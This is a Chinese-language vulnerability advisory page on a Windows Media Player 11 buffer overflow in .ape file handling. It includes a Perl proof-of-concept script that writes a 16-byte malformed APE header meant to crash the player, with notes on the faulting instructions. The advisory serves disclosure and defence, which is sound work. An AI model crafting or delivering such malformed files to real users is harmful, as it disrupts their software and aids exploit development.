安全研究

安全漏洞
Microsoft Windows Media Player ".ape"文件处理缓冲区溢出漏洞

发布日期:2011-03-27
更新日期:2011-03-29

受影响系统:
Microsoft Media Player 11
描述:
BUGTRAQ  ID: 47041

Windows Media Player,是由微软公司开发的一款音、视频播放器。

Windows Media Player在处理畸形.ape文件时存在远程缓冲区溢出漏洞,远程攻击者可利用此漏洞在应用程序中执行任意代码,造成拒绝服务。

<*来源:KedAns-Dz
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/perl

###
# Title : Windows Media Player v11.0 (.ape) Buffer Overflow
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Twitter page : twitter.com/kedans
# platform : Windows
# Impact : Overflow in 'wmplayer.exe' Process
# Tested on : Windows XP SP3 Fran.ais
# Target : Windows Media Player v11.0
###
# Note : BAC 2011 Enchallah ( KedAns 'me' & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )
# ------------
# Usage : 1 - Creat APE file ( Monkey's Audio Format )
#      =>    2 - Open APE file With Windows Media Player v11.0
#      =>    3 -  OverFlow !!!
# Assembly Error in [MonkeySource.ax] ! 022351a6() ! :
# 0x022351a3 ,0xc2 0x08 0x00 [ret] || 8
# 0x022351a6 ,0xf7 0xf3 [div] || eax,abx << (" Error Here ")
# 0x022351a8 ,0x31 0xd2 [xor] || edx,edx
# 0x022351aa ,0xeb 0xf3 [jmp] || 0x0223519f
# 0x022351ac ,0xc3 [ret] ||
# ------------
#START SYSTEM /root@MSdos/ :
system("title KedAns-Dz");
system("color 1e");
system("cls");
print "\n\n";                  
print "    |=======================================================|\n";
print "    |= [!] Name : Windows Media Player v11.0 || .APE File  =|\n";
print "    |= [!] Exploit : Buffer Overflow Exploit               =|\n";
print "    |= [!] Author : KedAns-Dz                              =|\n";
print "    |= [!] Mail: Ked-h(at)hotmail(dot)com                  =|\n";
print "    |=======================================================|\n";
sleep(2);
print "\n";
# Creating ...
my $PoC = "\x4D\x41\x43\x20\x96\x0f\x00\x00\x34\x00\x00\x00\x18\x00\x00\x00"; # APE Header
open(file , ">", "Kedans.ape"); # Evil File APE (16 bytes) 4.0 KB
print file $PoC;  
print "\n [+] File successfully created!\n" or die print "\n [-] OpsS! File is Not Created !! ";
close(file);

建议:
厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/technet/security/

浏览次数:2678
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障